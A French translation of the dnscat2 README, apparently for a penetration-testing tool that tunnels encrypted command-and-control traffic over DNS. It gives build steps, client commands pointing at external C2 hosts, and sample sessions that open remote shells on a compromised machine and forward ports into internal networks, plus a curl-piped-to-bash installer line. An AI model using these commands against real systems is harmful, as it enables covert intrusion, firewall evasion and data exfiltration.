iagox86/dnscat2Tunnel de commande et contrôle chiffré via le protocole DNS. Crée des canaux C&C furtifs pour les tests d'intrusion, avec transfert de fichiers, accès shell et capacités de redirection de ports via des requêtes DNS.
***** REMARQUE : Les mots de passe pour les téléchargements .zip sont tous "password" ! *****
Bienvenue sur dnscat2, un tunnel DNS qui NE vous rendra PAS malade et ne vous tuera pas !
Cet outil est conçu pour créer un canal de commande et contrôle (C&C) chiffré via le protocole DNS, qui constitue un tunnel efficace pour sortir de presque tous les réseaux.
Ce fichier README devrait contenir tout ce dont vous avez besoin pour démarrer ! Si vous souhaitez approfondir le protocole, la structure du code, les projets futurs ou d'autres sujets ésotériques, consultez le dossier doc/.
Ceci est publié sous la licence BSD. Voir LICENSE.md pour plus d'informations.
dnscat2 se compose de deux parties : le client et le serveur.
Le client est conçu pour être exécuté sur une machine compromise. Il est écrit en C et a le moins de dépendances possible. Il devrait fonctionner pratiquement partout (si vous trouvez un système où il ne compile pas ou ne s'exécute pas, veuillez ouvrir un ticket, surtout si vous pouvez m'aider à accéder à ce système).
Lorsque vous exécutez le client, vous spécifiez généralement un nom de domaine. Toutes les requêtes seront envoyées au serveur DNS local, qui sont ensuite redirigées vers le serveur DNS faisant autorité pour ce domaine (que vous, présumément, contrôlez).
Si vous n'avez pas de serveur DNS faisant autorité, vous pouvez également utiliser des connexions directes sur UDP/53 (ou tout autre port de votre choix). Elles seront plus rapides, et ressembleront toujours à du trafic DNS pour l'observateur occasionnel, mais elles seront beaucoup plus évidentes dans un journal de paquets (tous les domaines sont préfixés par "dnscat.", sauf si vous modifiez le source). Ce mode sera fréquemment bloqué par les pare-feux.
Le serveur est conçu pour être exécuté sur un serveur DNS faisant autorité. Il est en Ruby, et dépend de plusieurs gems différentes. Lorsque vous l'exécutez, comme pour le client, vous spécifiez le(s) domaine(s) sur le(s)quel(s) il doit écouter en plus d'écouter les messages qui lui sont envoyés directement sur UDP/53. Lorsqu'il reçoit du trafic pour l'un de ces domaines, il tente d'établir une connexion logique. S'il reçoit d'autre trafic, il l'ignore par défaut, mais peut également le transférer en amont.
Des instructions détaillées pour les deux parties sont fournies ci-dessous.
dnscat2 s'efforce d'être différent des autres protocoles de tunneling DNS en étant conçu pour un objectif particulier : le commandement et contrôle.
Il n'est pas conçu pour vous faire sortir d'un réseau d'hôtel, ou pour obtenir un accès Internet gratuit dans un avion. Et il ne se contente pas de tunnelliser TCP.
Il peut tunnelliser n'importe quelles données, sans protocole attaché. Cela signifie qu'il peut télécharger et téléverser des fichiers, exécuter un shell, et le faire correctement. Il peut également potentiellement tunnelliser TCP, mais cela ne sera ajouté que dans le cadre d'un outil de test d'intrusion (c'est-à-dire, tunnelliser TCP dans un réseau), pas comme un outil de tunnellisation à usage général. Cela a déjà été fait, ce n'est pas intéressant (pour moi).
Il est également chiffré par défaut. Je ne crois pas qu'aucun autre tunnel DNS public chiffre tout le trafic !
Voici quelques liens importants :
La théorie derrière dnscat2 est simple : il crée un tunnel via le protocole DNS.
Pourquoi ? Parce que le DNS a une propriété étonnante : il va se déplacer de serveur en serveur jusqu'à ce qu'il trouve où il doit aller.
Cela signifie que pour que dnscat fasse sortir le trafic d'un réseau sécurisé, il lui suffit d'envoyer des messages à un serveur DNS, qui transférera joyeusement les choses à travers le réseau DNS jusqu'à ce qu'elles atteignent votre serveur DNS.
Cela suppose bien sûr que vous ayez accès à un serveur DNS faisant autorité. dnscat2 supporte également les connexions "directes" - c'est-à-dire, exécuter un client dnscat qui se connecte directement à votre dnscat sur votre adresse IP et le port UDP 53 (par défaut). Le trafic ressemble toujours à du trafic DNS, et pourrait passer les systèmes IDS/IPS les plus simples, mais il est toujours susceptible d'être arrêté par les pare-feux.
Si vous ne comprenez pas comment configurer un serveur DNS faisant autorité, c'est quelque chose que vous devez configurer avec un fournisseur de domaine. izhan en a écrit un pour vous !
Compiler le client devrait être assez simple - tout ce dont vous avez besoin pour compiler est make/gcc (pour Linux) ou Cygwin ou Microsoft Visual Studio (pour Windows). Voici les commandes sur Linux :
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Sur Windows, chargez client/win32/dnscat2.vcproj dans Visual Studio et cliquez sur "build". Je l'ai créé et testé sur Visual Studio 2008 - jusqu'à ce que j'obtienne une copie légale gratuite d'une version plus récente, je vais probablement rester avec celle-là. :)
Si la compilation échoue, veuillez signaler un bug sur ma page github ! Veuillez envoyer des détails sur votre système.
Vous pouvez vérifier que dnscat2 est bien compilé en l'exécutant sans options ; vous verrez qu'il tente de démarrer un tunnel DNS avec le serveur DNS configuré (ce qui échouera) :
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
Le serveur n'est pas "compilé" à proprement parler, mais il nécessite quelques dépendances Ruby. Malheureusement, les dépendances Ruby peuvent être pénibles à mettre en place, donc bonne chance ! Si des experts Ruby souhaitent m'aider à améliorer cette section, je leur en serais reconnaissant !
Je suppose que vous avez Ruby et Gem installés et fonctionnels. Si
ce n'est pas le cas, installez-les avec apt-get, emerge, rvm, ou
comme c'est habituel sur votre système d'exploitation.
Une fois Ruby/Gem réglés, exécutez ces commandes (note : vous pouvez
évidemment sauter la commande git clone si vous avez déjà installé le
client et sauter gem install bundler si vous avez déjà installé bundler) :
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
Si vous obtenez une erreur de permission avec gem install bundler ou bundle install, vous devrez peut-être les exécuter en tant que root. Si vous avez beaucoup de
problèmes, désinstallez Ruby/Gem et installez tout avec rvm et
sans root.
Si vous obtenez une erreur comme celle-ci :
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Cela signifie que vous devez installer la version -dev de Ruby :
$ sudo apt-get install ruby-dev
Je trouve que sudo ne suffit pas toujours pour que tout fonctionne correctement,
je dois parfois passer en root et travailler directement avec ce compte.
rvmsudo n'aide pas, car il casse le ctrl-z.
Vous pouvez vérifier que le serveur fonctionne en l'exécutant sans options et en voyant si vous obtenez une invite dnscat2> :
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
Si vous ne l'exécutez pas en tant que root, vous pourriez avoir des difficultés à écouter sur UDP/53 (vous pouvez utiliser --dnsport pour le changer). Vous verrez un message d'erreur si c'est le cas.
Si vous avez des difficultés à exécuter Ruby en tant que root, voici ce que je fais pour la première fois :
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
Et les fois suivantes :
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo devrait faciliter les choses, mais dnscat2 ne fonctionne pas bien avec
rvmsudo malheureusement.
Avant de parler de l'utilisation spécifique des outils, parlons de la structure de dnscat. L'outil dnscat est divisé en deux parties : un client et un serveur. Comme vous l'avez remarqué si vous êtes passé par la compilation, le client est écrit en C et le serveur en Ruby.
Généralement, le serveur est exécuté en premier. Il peut être long, et gérer autant de clients que vous le souhaitez. Comme je l'ai dit plus tôt, c'est essentiellement un service C&C.
Ensuite, un client est exécuté, ce qui ouvre une session avec le serveur (plus de détails sur les sessions ci-dessous). La session peut soit traverser la hiérarchie DNS (recommandé, mais plus complexe), soit se connecter directement au serveur. Traverser la hiérarchie DNS nécessite un domaine faisant autorité, mais contournera la plupart des pare-feux. Se connecter directement au serveur est plus évident pour plusieurs raisons.
Par défaut, les connexions sont automatiquement chiffrées (désactivez cela côté
client avec --no-encryption et côté serveur avec --security=open).
Lors de l'établissement d'une nouvelle connexion, si vous êtes paranoïaque à propos
des attaques de l'homme du milieu, vous avez deux options pour vérifier le pair :
--secret des deux côtés
pour valider la connexionLe serveur - qui est généralement exécuté sur le serveur DNS faisant autorité pour un domaine particulier - est conçu pour être riche en fonctionnalités, interactif et convivial. Il est écrit en Ruby, et une grande partie de sa conception s'inspire de Metasploit et Meterpreter.
Si vous avez suivi les instructions de compilation ci-dessus, vous devriez pouvoir simplement exécuter le serveur :
$ ruby ./dnscat2.rb skullseclabs.org
Où "skullseclabs.org" est votre propre domaine. Si vous n'avez pas de serveur DNS faisant autorité, ce n'est pas obligatoire ; mais cet outil fonctionne beaucoup mieux avec un serveur faisant autorité.
Cela devrait en fait être tout ce dont vous avez besoin ! En dehors de cela, vous pouvez le tester à l'aide de la commande --ping du client sur n'importe quel autre système, qui devrait être disponible si vous l'avez compilé :
$ ./dnscat --ping skullseclabs.org
Si le ping réussit, votre serveur C&C est probablement bon ! Si vous avez exécuté le serveur DNS sur un port différent, ou si vous devez utiliser un résolveur DNS personnalisé, vous pouvez utiliser l'option --dns en plus de --ping :
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
Notez que lorsque vous spécifiez un argument --dns, le domaine doit faire partie de cet argument (sous la forme domain=xxx). Vous ne pouvez pas simplement le passer sur la ligne de commande (en raison d'une limitation de mon analyseur de commandes ; je l'améliorerai probablement dans une future version).
Lorsque le processus est en cours, vous pouvez démarrer un nouveau serveur en utilisant essentiellement la même syntaxe :
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
Vous pouvez exécuter autant de listeners DNS que vous voulez, tant qu'ils sont sur des hôtes/ports différents. Une fois les données reçues, le reste du processus ne sait même pas de quel listener proviennent les données ; en fait, un client peut envoyer différents paquets vers différents ports, et la session se poursuivra comme prévu.
Le client - qui est généralement exécuté sur un système après l'avoir compromis - est conçu pour être simple, stable et portable. Il est écrit en C et a le moins de dépendances de bibliothèques possible, et compile/s'exécute nativement sur Linux, Windows, Cygwin, FreeBSD et Mac OS X.
Le client reçoit le nom de domaine en ligne de commande, par exemple :
./dnscat2 skullseclabs.org
Dans cet exemple, il créera une session C&C avec le serveur dnscat2 s'exécutant sur skullseclabs.org. Si un domaine faisant autorité n'est pas une option, il peut recevoir une adresse IP spécifique à laquelle se connecter à la place :
./dnscat2 --dns host=206.220.196.59,port=5353
En supposant qu'il y ait un serveur dnscat2 sur cet hôte/port, il créera une session là-bas.
Eh ben, j'ai entendu dire que vous aimez les tunnels, alors maintenant vous pouvez tunnelliser un tunnel à travers votre tunnel !
Il est actuellement possible de tunnelliser une connexion via dnscat2, similaire à "ssh -L" ! D'autres modes ("ssh -D" et "ssh -R") arrivent bientôt également !
Après le démarrage d'une session (une session de commande), la commande "listen" est utilisée pour ouvrir un nouveau port tunnelé. La syntaxe est à peu près la même que ssh -L :
listen [lhost:]lport rhost:rport
L'hôte local est optionnel et prendra par défaut toutes les interfaces (0.0.0.0). Le port local et l'hôte/port distant sont obligatoires.
Le serveur dnscat2 écoutera sur lport. Toutes les connexions reçues sur ce port sont transférées, via le client dnscat2, vers l'hôte/port distant choisi.
Par exemple, cela écoutera sur le port 4444 (sur le serveur) et transférera le trafic vers google :
listen 4444 www.google.com:80
Ensuite, si vous vous connectez à http://localhost:4444, cela sortira par le client dnscat2 et se connectera à google.com.
Disons que vous utilisez cela lors d'un test d'intrusion et que vous voulez transférer les connexions ssh via le client dnscat2 (s'exécutant sur le réseau d'entreprise de quelqu'un) vers un périphérique interne. Vous pouvez !
listen 127.0.0.1:2222 10.10.10.10:22
Cela écoutera uniquement sur l'interface loopback sur le serveur dnscat2, et transférera les connexions via le tunnel vers le port 22 de 10.10.10.10.
dnscat2 est chiffré par défaut.
Je ne suis pas cryptographe, et par nécessité j'ai conçu moi-même le schéma de chiffrement. En conséquence, je ne lui ferais pas confiance à 100 %. Je pense avoir fait un assez bon travail pour prévenir les attaques, mais cela n'a pas été audité professionnellement. À utiliser avec prudence.
Il y a une tonne d'informations techniques sur le chiffrement dans le doc protocole. Mais voici les bases.
Par défaut, tant le client que le serveur supportent et tenteront le chiffrement. Chaque connexion utilise une nouvelle paire de clés, négociée par ECDH. Tout le chiffrement est effectué par salsa20, et les signatures utilisent sha3.
Le chiffrement peut être désactivé côté client en passant --no-encryption sur
la ligne de commande, ou en compilant avec make nocrypto.
Le serveur rejettera les connexions non chiffrées par défaut. Pour autoriser
les connexions non chiffrées, passez --security=open au serveur, ou exécutez
set security=open sur la console.
Par défaut, il n'y a aucune protection contre les attaques de l'homme du milieu. Comme mentionné précédemment, il existe deux façons différentes d'obtenir une protection MitM : un secret partagé ou une "courte chaîne d'authentification".
Un secret partagé est passé en ligne de commande à la fois au client et au serveur, et est utilisé pour authentifier à la fois le client auprès du serveur et le serveur auprès du client. Il doit être une valeur assez forte - quelque chose qui ne peut pas être rapidement deviné par un attaquant (il n'y a qu'une courte fenêtre pour que l'attaquant le devine, donc il doit seulement tenir le coup quelques secondes).
Le secret partagé est passé via le paramètre --secret à la fois sur le
client et le serveur. Le serveur peut le modifier à l'exécution en utilisant
set secret=<nouvelle valeur>, mais cela peut avoir des résultats inattendus si des
clients actifs sont connectés.
De plus, le serveur peut imposer que seules les connexions authentifiées soient
autorisées en utilisant --security=authenticated ou set security=authenticated. C'est activé par défaut si vous passez le
paramètre --secret.
Si vous ne voulez pas l'effort supplémentaire d'authentifier les connexions, alors une "courte chaîne d'authentification" est affichée à la fois par le client et le serveur. La courte chaîne d'authentification est une série de mots anglais qui sont dérivés des valeurs secrètes que les deux parties partagent.
Si le même ensemble de mots anglais est affiché à la fois sur le client et le serveur, la connexion peut être considérée comme raisonnablement sécurisée.
C'est à peu près tout ce que vous devez savoir sur le chiffrement ! Consultez le doc protocole pour plus de détails ! J'aimerais recevoir des commentaires sur la crypto, également. :)
Et enfin, si vous avez des problèmes avec la crypto, veuillez me le faire
savoir ! Par défaut, une fenêtre appelée "crypto-debug" sera créée au
démarrage. Si vous avez des problèmes de chiffrement, envoyez-moi ce journal ! Ou,
mieux encore, exécutez dnscat2 avec les arguments --firehose et --packet-trace,
et envoyez-moi TOUT ! Ne vous inquiétez pas pour la révélation des clés privées ;
elles ne sont utilisées que pour cette session.
L'interface utilisateur de dnscat2 est composée d'un tas de fenêtres. La fenêtre par défaut
est appelée la fenêtre 'principale'. Vous pouvez obtenir une liste des fenêtres en tapant
windows (ou sessions) dans n'importe quelle invite de commande :
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
Vous remarquerez qu'il y a deux fenêtres - la fenêtre 0 est la fenêtre principale,
et la fenêtre dns1 est le listener (techniquement appelé le 'pilote de tunnel').
Depuis n'importe quelle fenêtre qui accepte des commandes (main et les sessions de commande), vous
pouvez taper help pour obtenir une liste de commandes :
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Pour n'importe laquelle de ces commandes, vous pouvez utiliser -h ou --help pour obtenir des détails :dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
Nous allons utiliser la commande window pour interagir avec dns1, qui est une fenêtre de statut :
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
Les chaînes reçues et envoyées sont, si vous les décodez, des pings.
Vous pouvez basculer vers la fenêtre « parent » (dans ce cas, main) en appuyant sur ctrl-z. Si ctrl-z tue le processus, alors vous devez probablement trouver un meilleur moyen de l’exécuter (rvmsudo ne fonctionne pas, voir plus haut).
Lorsqu’un nouveau client se connecte et crée une session, vous en serez averti dans main (et dans certaines autres fenêtres) :
New window created: 1
dnscat2>
(Notez que vous devez appuyer sur Entrée pour récupérer l’invite)
Vous pouvez basculer vers la nouvelle fenêtre de la même manière que nous sommes passés à la fenêtre de statut dns1 :
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
Les sessions de commandes peuvent générer des sessions supplémentaires ; par exemple, la commande shell :
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(Notez que tout au long de ce document, je nettoie la sortie ; généralement, vous devez appuyer sur Entrée pour récupérer l’invite)
Ensuite, si vous revenez à la session principale (ctrl-z ou suspend), vous la verrez dans la liste des fenêtres :
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
Malheureusement, la commande windows dans une session de commande spécifique n’affiche que les fenêtres enfants de cette session, et pour l’instant les nouvelles sessions ne sont pas générées en tant qu’enfants.
Notez que certaines sessions ont [*] – cela signifie qu’il y a eu une activité depuis la dernière fois que nous les avons consultées.
Lorsque vous interagissez avec une session, l’interface sera différente selon le type de session. Comme vous l’avez vu avec le type de session par défaut (sessions de commandes), vous obtenez une interface similaire à celle de la session de premier niveau (vous pouvez taper help ou exécuter des commandes, etc.). Cependant, si vous interagissez avec une session « shell », vous ne verrez pas grand-chose immédiatement, jusqu’à ce que vous tapiez une commande :
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
Pour en sortir, vous pouvez utiliser ctrl-z ou taper exit (ce qui tuera la session).
Enfin, pour tuer une session, la commande kill peut être utilisée :
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
Dans le passé, il existait plusieurs outils de tunneling DNS. L’un d’eux s’appelait dnscat, écrit par Tadek Pietraszek. Le problème est qu’il est écrit en Java, et je voulais vraiment quelque chose qui puisse fonctionner pratiquement partout.
Cette version de dnscat était basée sur un outil appelé NSTX, dont la page n’existe plus et n’est même pas dans la Wayback Machine, donc je n’en sais rien.
Plus tard, j’ai écrit une implémentation en C et je l’ai appelée dnscat (sans permission), car la version Java précédente n’était plus maintenue et j’aimais vraiment ce nom (j’ai hésité à l’appeler dnscat-ng, mais -ng est un peu lourd à mon goût). Cela fonctionnait, mais il y avait beaucoup de problèmes. Le client et le serveur étaient le même outil, comme netcat, ce qui, parce que DNS est un modèle client/serveur, n’a pas très bien fonctionné. L’autre problème était que je l’avais trop lié au protocole DNS, donc il ne pouvait fonctionner que sur DNS.
dnscat2 – le successeur de dnscat – est une tentative de corriger certaines des erreurs que j’avais commises. dnscat2 a un serveur séparé (Ruby) et un client (C) et traite tout comme un flux d’octets, et utilise une sorte de pilote pour convertir ce flux d’octets en requêtes DNS et inversement. Ainsi, c’est un protocole en couches, DNS étant une couche inférieure.
En conséquence, j’ai inventé un protocole que j’appelle le protocole dnscat. Vous trouverez de la documentation à ce sujet dans docs/protocol.md. C’est un simple protocole réseau par interrogation, où le client interroge occasionnellement le serveur, et le serveur répond avec un message (ou un code d’erreur). Le protocole est conçu pour être résistant aux divers problèmes que j’ai rencontrés avec dnscat1 – c’est-à-dire qu’il peut gérer aussi bien les paquets désordonnés, les paquets perdus et les paquets dupliqués.